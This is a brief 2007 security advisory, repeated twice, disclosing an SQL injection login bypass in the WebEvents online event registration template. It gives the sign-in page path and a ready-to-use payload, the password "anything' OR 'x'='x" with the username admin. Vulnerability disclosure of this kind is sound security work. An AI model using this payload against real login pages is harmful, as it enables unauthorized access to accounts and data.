WebEvents: Online Event Registration Template Username Fields SQL INJECTION

2007-07-28 Thread Advisory
__ A R I A - S E C U R I T Y _ WebEvents: Online Event Registration Template Username Field SQL Injection Vendor: http://www.codewidgets.com http://target.com/PATH/sign_in.aspx Username: admin Password: anything' OR 'x'='x Credits: Aria-Security

WebEvents: Online Event Registration Template Username Fields SQL INJECTION

2007-07-28 Thread Advisory
__ A R I A - S E C U R I T Y _ WebEvents: Online Event Registration Template Username Field SQL Injection Vendor: http://www.codewidgets.com http://target.com/PATH/sign_in.aspx Username: admin Password: anything' OR 'x'='x Credits: Aria-Security